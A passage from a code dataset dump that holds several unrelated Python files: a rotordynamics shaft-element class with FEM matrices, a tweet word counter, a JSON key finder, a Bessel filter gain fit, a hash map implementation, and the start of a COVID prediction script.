objects.\n \"\"\"\n if sheet == \"Simple\":\n try:\n df = pd.read_excel(file)\n except FileNotFoundError:\n sys.exit(file + \" not found.\")\n except xlrd.biffh.XLRDError:\n df = pd.read_csv(file)\n try:\n for index, row in df.iterrows():\n for i in range(0, row.size):\n if pd.isna(row[i]):\n warnings.warn(\n \"NaN found in row \"\n + str(index)\n + \" column \"\n + str(i)\n + \".\\n\"\n \"It will be replaced with zero.\"\n )\n row[i] = 0\n list_of_shafts = []\n for i, row in df.iterrows():\n shear_effects = True\n rotary_inertia = True\n gyroscopic = True\n shear_method_calc = \"cowper\"\n try:\n shear_effects = bool(row[\"shear_effects\"])\n except KeyError:\n pass\n try:\n rotary_inertia = bool(row[\"rotary_inertia\"])\n except KeyError:\n pass\n try:\n gyroscopic = bool(row[\"gyroscopic\"])\n except KeyError:\n pass\n try:\n shear_method_calc = row[\"shear_method_calc\"]\n except KeyError:\n pass\n list_of_shafts.append(\n cls(\n row.L,\n row.i_d,\n row.o_d,\n Material.use_material(row.material),\n n=row.n,\n axial_force=row.axial_force,\n torque=row.torque,\n shear_effects=shear_effects,\n rotary_inertia=rotary_inertia,\n gyroscopic=gyroscopic,\n shear_method_calc=shear_method_calc,\n )\n )\n return list_of_shafts\n except KeyError:\n sys.exit(\n \"One or more column names did not match the expected. \"\n \"Make sure the table header contains the parameters for the \"\n \"ShaftElement class. Also, make sure you have a material \"\n \"with the given name.\"\n )\n elif sheet == \"Model\":\n try:\n df1 = pd.read_excel(file, header=3, nrows=10)\n df2 = pd.read_excel(file, header=19)\n df_unit = pd.read_excel(file, header=16, nrows=2)\n except FileNotFoundError:\n sys.exit(file + \" not found.\")\n except xlrd.biffh.XLRDError:\n df1 = pd.read_csv(file, header=3, nrows=10)\n df2 = pd.read_csv(file, header=19)\n df_unit = pd.read_csv(file, header=16, nrows=2)\n convert_to_metric = False\n if df_unit[\"Length\"][1] != \"meters\":\n convert_to_metric = True\n material_name = []\n material_rho = []\n material_e = []\n material_g_s = []\n new_materials = {}\n for index, row in df1.iterrows():\n if not pd.isna(row[\"matno\"]):\n material_name.append(int(row[\"matno\"]))\n material_rho.append(row[\"rhoa\"])\n material_e.append(row[\"ea\"])\n material_g_s.append(row[\"ga\"])\n if convert_to_metric:\n for i in range(0, len(material_name)):\n material_rho[i] = material_rho[i] * 27679.904\n material_e[i] = material_e[i] * 6894.757\n material_g_s[i] = material_g_s[i] * 6894.757\n for i in range(0, len(material_name)):\n new_material = Material(\n name=\"shaft_mat_\" + str(material_name[i]),\n rho=material_rho[i],\n E=material_e[i],\n G_s=material_g_s[i],\n )\n new_materials[\"shaft_mat_\" + str(material_name[i])] = new_material\n shaft_l = []\n shaft_i_d = []\n shaft_o_d = []\n shaft_material = []\n shaft_n = []\n shaft_axial_force = []\n for index, row in df2.iterrows():\n shaft_l.append(row[\"length\"])\n shaft_i_d.append(row[\"id_Left\"])\n shaft_o_d.append(row[\"od_Left\"])\n shaft_material.append(int(row[\"matnum\"]))\n shaft_n.append(row[\"elemnum\"] - 1)\n shaft_axial_force.append(row[\"axial\"])\n if convert_to_metric:\n for i in range(0, len(shaft_n)):\n shaft_l[i] = shaft_l[i] * 0.0254\n shaft_i_d[i] = shaft_i_d[i] * 0.0254\n shaft_o_d[i] = shaft_o_d[i] * 0.0254\n shaft_axial_force[i] = shaft_axial_force[i] * 4.448_221_61\n list_of_shafts = []\n for i in range(0, len(shaft_n)):\n list_of_shafts.append(\n cls(\n shaft_l[i],\n shaft_i_d[i],\n shaft_o_d[i],\n new_materials[\"shaft_mat_\" + str(shaft_material[i])],\n n=shaft_n[i],\n axial_force=shaft_axial_force[i],\n )\n )\n return list_of_shafts\n else:\n sys.exit(\n \"A valid choice must be given for the parameter 'sheet'. Either 'Simple' or 'Model' \"\n \"were expected. It was given \" + sheet + \".\"\n )\n\n @property\n def n(self):\n return self._n\n\n @n.setter\n def n(self, value):\n self._n = value\n self.n_l = value\n if value is not None:\n self.n_r = value + 1\n\n def dof_mapping(self):\n return dict(x0=0, y0=1, alpha0=2, beta0=3, x1=4, y1=5, alpha1=6, beta1=7)\n\n def __repr__(self):\n return (\n f\"{self.__class__.__name__}\"\n f\"(L={self.L:{0}.{5}}, i_d={self.i_d:{0}.{5}}, \"\n f\"o_d={self.o_d:{0}.{5}}, material={self.material.name!r}, \"\n f\"n={self.n})\"\n )\n\n def __str__(self):\n return (\n f\"\\nElem. N: {self.n}\"\n f\"\\nLenght: {self.L:{10}.{5}}\"\n f\"\\nInt. Diam.: {self.i_d:{10}.{5}}\"\n f\"\\nOut. Diam.: {self.o_d:{10}.{5}}\"\n f'\\n{35*\"-\"}'\n f\"\\n{self.material}\"\n f\"\\n\"\n )\n\n def M(self):\n r\"\"\"Mass matrix for an instance of a shaft element.\n Returns\n -------\n Mass matrix for the shaft element.\n Examples\n --------\n >>> Timoshenko_Element = ShaftElement(0.25, 0, 0.05, steel,\n ... rotary_inertia=True,\n ... shear_effects=True)\n >>> Timoshenko_Element.M()[:4, :4]\n array([[ 1.42050794, 0. , 0. , 0.04931719],\n [ 0. , 1.42050794, -0.04931719, 0. ],\n [ 0. , -0.04931719, 0.00231392, 0. ],\n [ 0.04931719, 0. , 0. , 0.00231392]])\n \"\"\"\n phi = self.phi\n L = self.L\n\n m01 = 312 + 588 * phi + 280 * phi ** 2\n m02 = (44 + 77 * phi + 35 * phi ** 2) * L\n m03 = 108 + 252 * phi + 140 * phi ** 2\n m04 = -(26 + 63 * phi + 35 * phi ** 2) * L\n m05 = (8 + 14 * phi + 7 * phi ** 2) * L ** 2\n m06 = -(6 + 14 * phi + 7 * phi ** 2) * L ** 2\n # fmt: off\n M = np.array([[m01, 0, 0, m02, m03, 0, 0, m04],\n [ 0, m01, -m02, 0, 0, m03, -m04, 0],\n [ 0, -m02, m05, 0, 0, m04, m06, 0],\n [m02, 0, 0, m05, -m04, 0, 0, m06],\n [m03, 0, 0, -m04, m01, 0, 0, -m02],\n [ 0, m03, m04, 0, 0, m01, m02, 0],\n [ 0, -m04, m06, 0, 0, m02, m05, 0],\n [m04, 0, 0, m06, -m02, 0, 0, m05]])\n # fmt: on\n M = self.material.rho * self.A * self.L * M / (840 * (1 + phi) ** 2)\n\n if self.rotary_inertia:\n ms1 = 36\n ms2 = (3 - 15 * phi) * L\n ms3 = (4 + 5 * phi + 10 * phi ** 2) * L ** 2\n ms4 = (-1 - 5 * phi + 5 * phi ** 2) * L ** 2\n # fmt: off\n Ms = np.array([[ ms1, 0, 0, ms2, -ms1, 0, 0, ms2],\n [ 0, ms1, -ms2, 0, 0, -ms1, -ms2, 0],\n [ 0, -ms2, ms3, 0, 0, ms2, ms4, 0],\n [ ms2, 0, 0, ms3, -ms2, 0, 0, ms4],\n [-ms1, 0, 0, -ms2, ms1, 0, 0, -ms2],\n [ 0, -ms1, ms2, 0, 0, ms1, ms2, 0],\n [ 0, -ms2, ms4, 0, 0, ms2, ms3, 0],\n [ ms2, 0, 0, ms4, -ms2, 0, 0, ms3]])\n # fmt: on\n Ms = self.material.rho * self.Ie * Ms / (30 * L * (1 + phi) ** 2)\n M = M + Ms\n\n return M\n\n def K(self):\n r\"\"\"Stiffness matrix for an instance of a shaft element.\n Returns\n -------\n Stiffness matrix for the shaft element.\n Examples\n --------\n >>> from ross.materials import steel\n >>> Timoshenko_Element = ShaftElement(0.25, 0, 0.05, steel,\n ... rotary_inertia=True,\n ... shear_effects=True)\n >>> Timoshenko_Element.K()[:4, :4]/1e6\n array([[45.69644273, 0. , 0. , 5.71205534],\n [ 0. , 45.69644273, -5.71205534, 0. ],\n [ 0. , -5.71205534, 0.97294287, 0. ],\n [ 5.71205534, 0. , 0. , 0.97294287]])\n \"\"\"\n phi = self.phi\n L = self.L\n # fmt: off\n K = np.array([\n [12, 0, 0, 6*L, -12, 0, 0, 6*L],\n [0, 12, -6*L, 0, 0, -12, -6*L, 0],\n [0, -6*L, (4+phi)*L**2, 0, 0, 6*L, (2-phi)*L**2, 0],\n [6*L, 0, 0, (4+phi)*L**2, -6*L, 0, 0, (2-phi)*L**2],\n [-12, 0, 0, -6*L, 12, 0, 0, -6*L],\n [0, -12, 6*L, 0, 0, 12, 6*L, 0],\n [0, -6*L, (2-phi)*L**2, 0, 0, 6*L, (4+phi)*L**2, 0],\n [6*L, 0, 0, (2-phi)*L**2, -6*L, 0, 0, (4+phi)*L**2]\n ])\n # fmt: on\n K = self.material.E * self.Ie * K / ((1 + phi) * L ** 3)\n\n return K\n\n def C(self):\n \"\"\"Stiffness matrix for an instance of a shaft element.\n\n Returns\n -------\n C : np.array\n Damping matrix for the shaft element.\n\n Examples\n --------\n \"\"\"\n C = np.zeros((8, 8))\n\n return C\n\n def G(self):\n \"\"\"Gyroscopic matrix for an instance of a shaft element.\n Returns\n -------\n Gyroscopic matrix for the shaft element.\n Examples\n --------\n >>> from ross.materials import steel\n >>> # Timoshenko is the default shaft element\n >>> Timoshenko_Element = ShaftElement(0.25, 0, 0.05, steel)\n >>> Timoshenko_Element.G()[:4, :4]\n array([[-0. , 0.01943344, -0.00022681, -0. ],\n [-0.01943344, -0. , -0. , -0.00022681],\n [ 0.00022681, -0. , -0. , 0.0001524 ],\n [-0. , 0.00022681, -0.0001524 , -0. ]])\n \"\"\"\n phi = self.phi\n L = self.L\n\n G = np.zeros((8, 8))\n\n if self.gyroscopic:\n g1 = 36\n g2 = (3 - 15 * phi) * L\n g3 = (4 + 5 * phi + 10 * phi ** 2) * L ** 2\n g4 = (-1 - 5 * phi + 5 * phi ** 2) * L ** 2\n # fmt: off\n G = np.array([[ 0, -g1, g2, 0, 0, g1, g2, 0],\n [ g1, 0, 0, g2, -g1, 0, 0, g2],\n [-g2, 0, 0, -g3, g2, 0, 0, -g4],\n [ 0, -g2, g3, 0, 0, g2, g4, 0],\n [ 0, g1, -g2, 0, 0, -g1, -g2, 0],\n [-g1, 0, 0, -g2, g1, 0, 0, -g2],\n [-g2, 0, 0, -g4, g2, 0, 0, -g3],\n [ 0, -g2, g4, 0, 0, g2, g3, 0]])\n # fmt: on\n G = -self.material.rho * self.Ie * G / (15 * L * (1 + phi) ** 2)\n\n return G\n\n def patch(self, position, SR, ax):\n \"\"\"Shaft element patch.\n Patch that will be used to draw the shaft element.\n Parameters\n ----------\n ax : matplotlib axes, optional\n Axes in which the plot will be drawn.\n bk_ax : bokeh plotting axes, optional\n Axes in which the plot will be drawn.\n position : float\n Position in which the patch will be drawn.\n Returns\n -------\n \"\"\"\n position_u = [position, self.i_d / 2] # upper\n position_l = [position, -self.o_d / 2] # lower\n width = self.L\n height = self.o_d / 2 - self.i_d / 2\n if self.n in SR:\n mpl_color = \"yellow\"\n bk_color = \"yellow\"\n legend = \"Shaft - Slenderness Ratio < 1.6\"\n else:\n mpl_color = self.color\n bk_color = bokeh_colors[2]\n legend = \"Shaft\"\n\n # matplotlib - plot the upper half of the shaft\n ax.add_patch(\n mpatches.Rectangle(\n position_u,\n width,\n height,\n linestyle=\"--\",\n linewidth=0.5,\n ec=\"k\",\n fc=mpl_color,\n alpha=0.8,\n label=legend,\n )\n )\n # matplotlib - plot the lower half of the shaft\n ax.add_patch(\n mpatches.Rectangle(\n position_l,\n width,\n height,\n linestyle=\"--\",\n linewidth=0.5,\n ec=\"k\",\n fc=mpl_color,\n alpha=0.8,\n )\n )\n\n def bokeh_patch(self, position, SR, bk_ax):\n \"\"\"Shaft element patch.\n Patch that will be used to draw the shaft element.\n Parameters\n ----------\n bk_ax : bokeh plotting axes, optional\n Axes in which the plot will be drawn.\n position : float\n Position in which the patch will be drawn.\n Returns\n -------\n \"\"\"\n\n if self.n in SR:\n bk_color = \"yellow\"\n legend = \"Shaft - Slenderness Ratio < 1.6\"\n else:\n bk_color = bokeh_colors[2]\n legend = \"Shaft\"\n\n source_u = ColumnDataSource(\n dict(\n top=[self.o_d / 2],\n bottom=[self.i_d / 2],\n left=[position],\n right=[position + self.L],\n elnum=[self.n],\n out_d=[self.o_d],\n in_d=[self.i_d],\n length=[self.L],\n mat=[self.material.name],\n )\n )\n\n source_l = ColumnDataSource(\n dict(\n top=[-self.o_d / 2],\n bottom=[-self.i_d / 2],\n left=[position],\n right=[position + self.L],\n elnum=[self.n],\n out_d=[self.o_d],\n in_d=[self.i_d],\n length=[self.L],\n mat=[self.material.name],\n )\n )\n\n # bokeh plot - plot the shaft\n bk_ax.quad(\n top=\"top\",\n bottom=\"bottom\",\n left=\"left\",\n right=\"right\",\n source=source_u,\n line_color=bokeh_colors[0],\n line_width=1,\n fill_alpha=0.5,\n fill_color=bk_color,\n legend=legend,\n name=\"u_shaft\",\n )\n bk_ax.quad(\n top=\"top\",\n bottom=\"bottom\",\n left=\"left\",\n right=\"right\",\n source=source_l,\n line_color=bokeh_colors[0],\n line_width=1,\n fill_alpha=0.5,\n fill_color=bk_color,\n name=\"l_shaft\",\n )\n hover = HoverTool(names=[\"u_shaft\", \"l_shaft\"])\n hover.tooltips = [\n (\"Element Number :\", \"@elnum\"),\n (\"Outer Diameter :\", \"@out_d\"),\n (\"Internal Diameter :\", \"@in_d\"),\n (\"Element Length :\", \"@length\"),\n (\"Material :\", \"@mat\"),\n ]\n hover.mode = \"mouse\"\n\n if len(bk_ax.hover) == 0:\n bk_ax.add_tools(hover)\n\n @classmethod\n def section(\n cls,\n L,\n ne,\n si_d,\n so_d,\n material,\n n=None,\n shear_effects=True,\n rotary_inertia=True,\n gyroscopic=True,\n ):\n \"\"\"Shaft section constructor.\n This method will create a shaft section with length 'L'\n divided into 'ne' elements.\n Parameters\n ----------\n i_d : float\n Inner diameter of the section.\n o_d : float\n Outer diameter of the section.\n E : float\n Young's modulus.\n G_s : float\n Shear modulus.\n material : ross.material\n Shaft material.\n n : int, optional\n Element number (coincident with it's first node).\n If not given, it will be set when the rotor is assembled\n according to the element's position in the list supplied to\n the rotor constructor.\n axial_force : float\n Axial force.\n torque : float\n Torque.\n shear_effects : bool\n Determine if shear effects are taken into account.\n Default is False.\n rotary_inertia : bool\n Determine if rotary_inertia effects are taken into account.\n Default is False.\n gyroscopic : bool\n Determine if gyroscopic effects are taken into account.\n Default is False.\n Returns\n -------\n elements: list\n List with the 'ne' shaft elements.\n Examples\n --------\n >>> # shaft material\n >>> from ross.materials import steel\n >>> # shaft inner and outer diameters\n >>> si_d = 0\n >>> so_d = 0.01585\n >>> sec = ShaftElement.section(247.65e-3, 4, 0, 15.8e-3, steel)\n >>> len(sec)\n 4\n >>> sec[0].i_d\n 0.0\n \"\"\"\n\n le = L / ne\n\n elements = [\n cls(le, si_d, so_d, material, n, shear_effects, rotary_inertia, gyroscopic)\n for _ in range(ne)\n ]\n\n return elements\n","sub_path":"ross/shaft_element.py","file_name":"shaft_element.py","file_ext":"py","file_size_in_byte":28006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"571430200","text":"# words_tweeted.py\n# This program produces a word count of each word in the file tweets.txt.\n# The word count is stored in a text file named ft1.txt.\n\nimport os # To find and operate on files here.\nimport collections # To organize words.\n\ndef main():\n \n # Find and open the tweets.txt file.\n os.chdir('../tweet_input')\n tweets = open('tweets.txt', 'r')\n\n\n # Read the tweets from the file.\n # Each tweet will be stored in a list.\n # Each item in that list is a list of words.\n tweet_list = []\n line = tweets.readline()\n while line != '':\n tweet_list.append(line.split())\n line = tweets.readline() \n tweets.close()\n\n\n # Create a dictionary for all the words in the tweets.\n # Iterate through the words in each tweet.\n # If the word is not in the dictionary, it's set to 1.\n # Otherise that word is incremented.\n words = {}\n for each_tweet in tweet_list: \n for each_word in each_tweet:\n if each_word not in words:\n words[each_word] = 1\n else:\n words[each_word] += 1 \n\n\n # Alphabetize the words in the dictionary according to ASCII Code.\n # Write this dictionary to file ft1.txt in a formatted manner.\n words_ordered = collections.OrderedDict(sorted(words.items()))\n word_max = 0\n os.chdir('../tweet_output')\n file_out = open('ft1.txt', 'w')\n\n for word in words_ordered:\t # Find the max word length for\n if len(word) > word_max: # uniform format.\n word_max = len(word)\n\n for word in words_ordered:\n limit = word_max - len(word)\n spaces = ' ' * limit # Add necessary spaces in front of word.\n value = str(words_ordered[word])\n file_out.write(word + spaces + '\\t' + value + '\\n')\n\n file_out.close()\n\n\n# Call the main function.\nmain()\n","sub_path":"src/words_tweeted.py","file_name":"words_tweeted.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"199549875","text":"# https://www.reddit.com/r/dailyprogrammer/comments/3j3pvm/20150831_challenge_230_easy_json_treasure_hunt/\n\ndef get_keyii(d, item):\n\ttry:\n\t\tfor k, v in d.items():\n\t\t\tif v == item:\n\t\t\t\treturn (k,)\n\t\t\tif type(v) in (dict, list):\n\t\t\t\tsub_k = get_keyii(v, item)\n\t\t\t\tif sub_k:\n\t\t\t\t\treturn (k,) + sub_k\n\texcept AttributeError:\n\t\tfor i in d:\n\t\t\tif i == item:\n\t\t\t\treturn (d.index(i),)\n\t\t\tif type(i) in (dict, list):\n\t\t\t\tsub_k = get_keyii(i, item)\n\t\t\t\tif sub_k:\n\t\t\t\t\treturn (d.index(i),) + sub_k\n\n\nif __name__ == '__main__':\n\tfrom json import JSONDecoder\n\n\tsearch_term = \"dailyprogrammer\"\n\n\td = JSONDecoder().decode(open(input(\"Filename? \") or 'input.txt').read())\n\n\tprint(' -> '.join(map(str, get_keyii(d, search_term))))\n","sub_path":"Python/Easy/E230.py","file_name":"E230.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"340256622","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nplt.rcParams.update({'font.size': 28})\nmatplotlib.rc('xtick', labelsize=20)\nmatplotlib.rc('ytick', labelsize=20)\n\n\nBesselgiu = np.loadtxt('besselgiu.csv' , delimiter=',')\n#number = Besselgiu[:, 0]\n#freqHz = Besselgiu[:, 1]\n#ampVpp = Besselgiu[:, 2]\n#gaindB = Besselgiu[:, 3]\n#phasedeg = Besselgiu[:, 4]\n\nBesselsu = np.loadtxt('besselsu.csv' , delimiter=',')\n#number = Bessel[:, 0]\n#freqHz = Bessel[:, 1]\n#ampVpp = Bessel[:, 2]\n#gaindB = Bessel[:, 3]\n#phasedeg = Bessel[:, 4]\n\nx = np.arange(201, dtype=int)\n\nimport scipy.odr as odr\nfrom scipy.stats import kstest\n\n''' Performs the fit\nNeeded Parameters (key-word):\n function: function with 2 arguments:\n array-like object for parameters (float-like)\n array-like object for variables (float-like)\n par0: array-like object for parameters prior (float-like)\n par_names: array-like object for parameters prior (string)\n file_name: csv with data\nReturns:\n tuple with array of parameters and pvalue\n'''\ndef fit(function=None, par0=None, par_names=None,\n x=None, y=None, sx=None, sy=None,\n xlabel=\"\", ylabel=\"\", title=\"\", xres = 100, ax1=None, ax2=None):\n\n fit_data = odr.RealData(x, y=y, sx=sx, sy=sy)\n model = odr.Model(function)\n fit = odr.ODR(fit_data, \n model, \n beta0=par0)\n out = fit.run()\n\n par = out.beta\n par_s = out.sd_beta\n for i in range(len(par_names)):\n print(f'{par_names[i]} : {par[i]} +- {par_s[i]}')\n\n ax1.errorbar(x, y, xerr=sx, yerr=sy,\n ecolor='red', fmt='o', color='red', markersize=4\n )\n d_x = max(x)-min(x)\n x = np.linspace(min(x)-d_x/10, max(x)+d_x/10, xres)\n d_y = max(y)-min(y)\n ax1.set_ylim(min(y)-d_y/10, max(y)+d_y/10)\n ax1.plot(x, function(par, x), color='black', antialiased=True)\n print(function(par, 10))\n\n ax1.set(xlabel=xlabel, ylabel=ylabel, title=title)\n '''\n kolmogorov-smirnov test on normalized residuals is performed\n it tests the similarity between normalized residuals and a normalized gaussian\n this similarity implies a reasonable belief in goodnes of fit and\n correct estimation of uncertainties\n if pvalue is > 0.05 the fit is accepted\n '''\n y_res_norm = out.eps/sy\n ax2.hist(y_res_norm)\n print(f\"Chi squared: {np.linalg.norm(y_res_norm)**2/len(y_res_norm)}\")\n ax2.set_title(\"Residuals histogram\")\n pvalue = kstest(y_res_norm, 'norm').pvalue\n print(f\"p_value: {pvalue:.3f}\")\n return out\n\nf0 = 50000\ndef tf(par, f):\n s = 1j*f/f0\n return - 20 * np.log10(np.abs((par[0]*s**2 + par[1]*s + 1)*(par[2]*s + 1)))\n\nBesselgiu = Besselgiu[Besselgiu[:, 1]<4e5]\nBesselsu = Besselsu[Besselsu[:, 1]<4e5]\n\nfig1, axs = plt.subplots(2, 1, tight_layout=True, sharex = True)\nfig2, ax2 = plt.subplots(figsize=(5, 5))\n\naxs[0].set_xscale(\"log\")\naxs[1].set_xscale(\"log\")\n\nsigmagiu = Besselgiu[:, 4] * 0 + 0.1\nsigmasu = Besselsu[:, 4] * 0 + 0.1\n\npar0 = [6, 15, 1]\nprint(tf(par0, 0))\n\noutgiu = fit(tf, x = Besselgiu[:, 1], y = Besselgiu[:, 3], sy = sigmagiu, sx = sigmagiu,\n par0 = par0, par_names=['a', 'b', 'c'],\n ax1=axs[0], ax2=ax2, xlabel=\"\", ylabel=\"Gain\",\n title=r'Phase response Bessel #1', xres=500)\n\noutsu = fit(tf, x = Besselsu[:, 1], y = Besselsu[:, 3], sy = sigmasu, sx = sigmasu,\n par0 = par0, par_names=['a', 'b', 'c'],\n ax1=axs[1], ax2=ax2, xlabel=r\"Frequency (Hz)\", ylabel=\"Gain\",\n title=r'Phase response Bessel #2', xres=500)\nplt.show()\n\npargiu = outgiu.beta\ndef _tf(par, shift):\n return lambda f: tf(par, f) + shift\n\nfrom scipy.optimize import fsolve\nprint(fsolve(_tf(pargiu, 20), 50000))\n\nparsu = outsu.beta\nprint(fsolve(_tf(parsu, 20), 50000))\n\n\n","sub_path":"circuits_analysis/baseband/gainfit.py","file_name":"gainfit.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"145981040","text":"class Node:\r\n def __init__(self, key=None, value=None, next=None):\r\n '''\r\n Used to initialize element nodes\r\n :param key:key of element node\r\n :param value:value of element node\r\n :param next:chain method to solve hash collision\r\n '''\r\n self.key = key\r\n self.value = value\r\n self.next = next\r\n\r\n\r\nclass HashMap(object):\r\n empty = object()\r\n\r\n def __init__(self, dict=None):\r\n self.key_set = [] # used to store the elements key added to the hash map\r\n self.data = [self.empty for _ in range(13)] # Used to store element nodes\r\n self.size = 13 # table size\r\n # Initialization by dict\r\n if dict is not None:\r\n self.from_dict(self, dict)\r\n\r\n self.len = 0\r\n self.index = 0\r\n\r\n def get_hash(self, key):\r\n '''\r\n Hash by key\r\n :param key:element key\r\n :return:hash value\r\n '''\r\n hash_value = key % self.size\r\n return hash_value\r\n\r\n def add(self, key, value):\r\n \"\"\"\r\n Insert key-value pairs into hash map\r\n :param key: The key to insert into the hash map\r\n :param value: element value\r\n \"\"\"\r\n hash_value = self.get_hash(key)\r\n kv_entry = Node(key, value)\r\n\r\n if self.data[hash_value] == self.empty:\r\n self.data[hash_value] = kv_entry\r\n self.key_set.append(key)\r\n self.len = self.len + 1\r\n else:\r\n p = self.data[hash_value]\r\n while p.next != None:\r\n if p.key is key:\r\n p.value = value\r\n return\r\n p = p.next\r\n if p.key is key:\r\n p.value = value\r\n return\r\n p.next = kv_entry\r\n self.key_set.append(key)\r\n self.len = self.len + 1\r\n\r\n def remove(self, key):\r\n '''\r\n Delete element in hash map by key\r\n :param key:element key\r\n :return:eoolean type for delete success or failure\r\n '''\r\n hash_value = self.get_hash(key)\r\n if self.data[hash_value] is self.empty:\r\n return False\r\n elif self.data[hash_value].key is key:\r\n self.data[hash_value] = self.data[hash_value].next\r\n self.remove_key_set(key)\r\n return True\r\n p = self.data[hash_value]\r\n q = self.data[hash_value].next\r\n while q.next is not None:\r\n if q.key is key:\r\n p.next = q.next\r\n self.remove_key_set(key)\r\n return True\r\n p = q\r\n q = q.next\r\n if q.key is key:\r\n p.next = None\r\n self.remove_key_set(key)\r\n return True\r\n return False\r\n\r\n def get(self, key):\r\n '''\r\n Find element in hash map by key.\r\n :param key:element key\r\n :return:element value response to the input key\r\n '''\r\n dict = self.to_dict()\r\n value = dict[key]\r\n return value\r\n\r\n def remove_key_set(self, key):\r\n '''\r\n Delete key in key_set list\r\n :param key:key to delete\r\n '''\r\n self.key_set.remove(key)\r\n self.len = self.len - 1\r\n\r\n def from_dict(self, dict):\r\n '''\r\n add elements from dict type\r\n :param dict:input dict\r\n :return:\r\n '''\r\n for k, v in dict.items():\r\n self.add(k, v)\r\n\r\n def to_dict(self):\r\n '''\r\n transfer hash map into dict\r\n :return: resule dict\r\n '''\r\n kvDict = {}\r\n if self.len is 0:\r\n return kvDict\r\n else:\r\n i = 0\r\n while i < self.size:\r\n if self.data[i] is self.empty:\r\n i += 1\r\n continue\r\n else:\r\n p = self.data[i]\r\n while p != None:\r\n kvDict[p.key] = p.value\r\n p = p.next\r\n i += 1\r\n return kvDict\r\n\r\n def get_size(self):\r\n '''\r\n Element number in hash map.\r\n :return:number of element in hash map\r\n '''\r\n size = len(self.key_set)\r\n return size\r\n\r\n def from_list(self, list):\r\n '''\r\n add element from list type\r\n :param list:input list\r\n '''\r\n for k, v in enumerate(list):\r\n self.add(k, v)\r\n\r\n def to_list(self):\r\n '''\r\n Transfer hash map into list type\r\n :return:result list\r\n '''\r\n list = []\r\n for key in self.key_set:\r\n list.append(self.get(key))\r\n return list\r\n\r\n def find_iseven(self):\r\n '''\r\n Find element with even value in hash map.\r\n :return:list with even number value\r\n '''\r\n list = self.to_list()\r\n my_list = []\r\n for value in list:\r\n if type(value) is int or type(value) is float:\r\n if value % 2 == 0:\r\n my_list.append(value)\r\n return my_list\r\n\r\n def filter_iseven(self):\r\n '''\r\n Filter element with even value in hash map.\r\n :return: list with not even number value\r\n '''\r\n list = self.to_list()\r\n for value in list:\r\n if type(value) is int or type(value) is float:\r\n if value % 2 == 0:\r\n list.remove(value)\r\n return list\r\n\r\n def to_kv_entry_list(self):\r\n '''\r\n list to store all node in hash map\r\n :return: result list\r\n '''\r\n list = []\r\n for key in self.key_set:\r\n list.append(Node(key, self.get(key)))\r\n return list\r\n\r\n def map(self, f):\r\n '''\r\n Map element value in hash map with f\r\n :param f:\r\n :return:dict store all key-value pairs after map\r\n '''\r\n dict = {}\r\n for key in self.key_set:\r\n value = f(self.get(key))\r\n dict[key] = value\r\n return dict\r\n\r\n def reduce(self, f, initial_state):\r\n \"\"\"\r\n Reduce the mapSet to one value.\r\n :param f: the reduce method\r\n :param initial_state:result initial_state\r\n :return:final res\r\n \"\"\"\r\n state = initial_state\r\n for key in self.key_set:\r\n value = self.get(key)\r\n state = f(state, value)\r\n return state\r\n\r\n def mempty(self):\r\n \"\"\"\r\n The empty element in property monoid, usually called mempty.\r\n \"\"\"\r\n # return HashMap()\r\n return None\r\n\r\n def mconcat(self, a, b):\r\n \"\"\"\r\n Operation in property monoid.\r\n :param a:first input hash map\r\n :param b:second input hash map\r\n :return: add element in b into a,return a\r\n \"\"\"\r\n if a is None:\r\n return b\r\n if b is None:\r\n return a\r\n for key in b.key_set:\r\n value = b.get(key)\r\n a.add(key, value)\r\n return a\r\n\r\n def __iter__(self):\r\n return iter(self.to_kv_entry_list())\r\n\r\n def __next__(self):\r\n if self.index >= self.len:\r\n raise StopIteration(\"end\")\r\n else:\r\n self.index += 1\r\n val = self.get(self.key_set[self.index - 1])\r\n return val\r\n","sub_path":"Lab1/src/mutable.py","file_name":"mutable.py","file_ext":"py","file_size_in_byte":7319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"305470633","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 15 18:14:33 2020\n\n@author: omars\n\"\"\"\n#############################################################################\n############# Import libraries\nimport pandas as pd\nfrom copy import deepcopy\nfrom sklearn.linear_model import ElasticNetCV, LinearRegression\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import RandomForestRegressor\nfrom xgboost import XGBRegressor\nfrom sklearn.model_selection import GridSearchCV \nfrom sklearn.metrics import r2_score\nfrom sklearn.svm import SVR, LinearSVR\nimport numpy as np\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\n#############################################################################\n\n#############################################################################\n############# Wrangle clustering results\ndef wrangle_clustering_results_day_i(clt,\n i,\n var='cases'):\n \n target = 'pred_growth_for_next_' + str(i) + 'days' \n\n output = deepcopy(clt)\n output['pred_value_for_next_' + str(i) + 'days'] = (1+output[target])* output[var]\n output['predicted_value_model' +str(i)] = output.groupby('state')[\n 'pred_value_for_next_' + str(i) + 'days'].shift(i)\n del output[target]\n return(output)\n \ndef wrangle_clustering(clt,\n n=None,\n cols_to_keep=['state', 'Date', 'cases', 'deaths'],\n var='cases'):\n \n if n is None:\n n = max([int(x[len('pred_growth_for_next_'): x.find('days')]) if x.find('pred_growth_for_next_') >= 0 else 0 for x in clt.columns])\n output = deepcopy(clt)\n ltarget = []\n for i in range(1, n+1):\n output = wrangle_clustering_results_day_i(output,\n i,\n var='cases')\n ltarget.append('predicted_value_model' +str(i))\n \n if cols_to_keep is not None:\n output = output.loc[:, cols_to_keep + ltarget]\n \n output['Date'] = output['Date'].apply(lambda x: datetime.strptime(x, '%Y-%m-%d'))\n return(output)\n#############################################################################\n \n#############################################################################\n############# Helper functions\ndef mean_absolute_percentage_error(y_true, y_pred): \n y_true, y_pred = np.array(y_true), np.array(y_pred)\n return np.mean(np.abs((y_true - y_pred) / y_true))\n\ndef update_results(X_train, y_train, first_stage_train, # y should be equal to true value - first-stage value\n X_test, 